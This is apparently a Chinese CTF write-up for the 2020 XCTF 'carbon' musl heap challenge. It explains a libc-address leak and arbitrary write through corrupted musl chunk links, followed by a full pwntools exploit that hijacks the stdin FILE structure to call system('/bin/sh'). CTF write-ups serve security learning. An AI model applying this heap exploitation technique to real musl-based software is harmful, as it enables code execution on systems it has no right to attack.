2020 xctf musl wp

2022-04-26

做的第一道musl pwn题

只能说虽然看起来很简单,其实还是挺困难的

不懂musl的可以看一看源码(

或者直接路由到我的源码分析 musl1.1.24源码分析

直接看题目

case 1 函数里面有且只有一个溢出机会

case 4 有且只有一个打印内容的机会

拿到libc地址

因为musl是静态堆内存(即它的初始堆就是在libc里的,所以你拿到了chunk的地址=拿到了libc的基址)

一开始申请一个0x20大小的chunk,根据musl的规律,它会从大chunk中切掉一部分(其中会保护mal某个位置的地址

任意地址写

任意地址写要用case1的溢出机会拿到

可以再申请3个0x20的chunk

free掉两个(不要连在一起,连在一起会自动合并),再申请第一个chunk

然后用case 1的覆写机会写后面chunk的地址(因为musl1.1.24基本不会对prev和next的合法性做检查,而且先进先出)

这时候可以把这个chunk的prev和next都改掉,这样mal.bins[0]会永远指向这个chunk(可以有任意地址写入的权限

exp

from pwn import *
context.log_level='debug'

io=process("./carbon")
libc = ELF('./libc.so')

def add(size,content,hello='N'):
    print("hello:"+hello)
    io.sendlineafter("> ",str(1))
    io.sendlineafter("What is your prefer size? >",str(size))
    io.sendlineafter("Are you a believer? >",hello)
    io.sendlineafter("Say hello to your new sleeve >",content)

def delete(idx):
    io.sendlineafter("> ",str(2))
    io.sendlineafter("What is your sleeve ID? >",str(idx))

def edit(idx,content):
    io.sendlineafter("> ",str(3))
    io.sendlineafter("What is your sleeve ID? >",str(idx))
    io.send(content)

def examine(idx):
    io.sendlineafter("> ",str(4))
    io.sendlineafter("What is your sleeve ID? >",str(idx))

# get libc_address
#gdb.attach(io)
add(0,'a') #0
#gdb.attach(io)
examine(0)

libc_base = u64(io.recv(6).ljust(8,b'\x00'))-912-0xA0A80
print(hex(libc_base))
print("mal address: "+hex(libc_base+0xa0a80))
libc.address=libc_base
#gdb.attach(io)
stdin = libc.address+0xA01C0
brk = libc.address+0xA2FF0
binmap = libc.address+0xA0A80
bin  = libc.address + 0xA0A80+0x380
system = libc.address+0x046BDA
#gdb.attach(io)

# procedure 2
add(0x10,'a'*0xf)#1
add(0x10,'b'*0xf)#2
add(0x10,'c'*0xf)#3
add(0x10,'d'*0xf)#4
#gdb.attach(io)
add(0x10,'e'*0xf) #5
add(0x10,'f'*0xf) #6
add(0x10,'g'*0xf) #7
add(0x10,'h'*0xf) #8
delete(1)
delete(3)
#gdb.attach(io)

payload = b'i'*0x10+p64(0x21)*2+b'i'*0x10+p64(0x21)+p64(0x20)+p64(stdin-0x10)*2+p8(0x20) # set same but binmap is 0
add(0x10,payload,hello='Y') #1
add(0x10,b'\n') #3   bins[0] always point to #3
#gdb.attach(io)

delete(1)
edit(3, p64(binmap - 0x20) * 2)
add(0x10,b'\n')             #1
delete(5) # set as non-empty bin

edit(3, p64(brk - 0x10) * 2)
add(0x10,b'\n')             #5
delete(7) # set as non-empty bin

edit(3,p64(bin-0x10)+p64(stdin-0x10))
add(0x10,b'\n') 
add(0x50,b'\n')#9
edit(3,p64(bin-0x10)+p64(brk-0x10))
add(0x10,b'\n')#10
add(0x50,b'\n')#11
edit(3,p64(bin-0x10)+p64(binmap-0x20))
add(0x10,b'\n')#12
add(0x50,b'\n')#13

payload  = b"/bin/sh\x00"    # stdin->flags
payload += b'X' * 0x20
payload += p64(0xdeadbeef)  # stdin->wpos
payload += b'X' * 8
payload += p64(0xbeefdead)  # stdin->wbase
payload += b'X' * 8
payload += p64(system)      # stdin->write
edit(9,payload)
edit(11,p64(0xbadbeef - 0x20)+b'\n' )
edit(13, b'X' * 0x10 + p64(0) + b'\n') 

io.sendlineafter(">", '1')
io.sendlineafter("What is your prefer size? >", '0')
#gdb.attach(io)
io.interactive()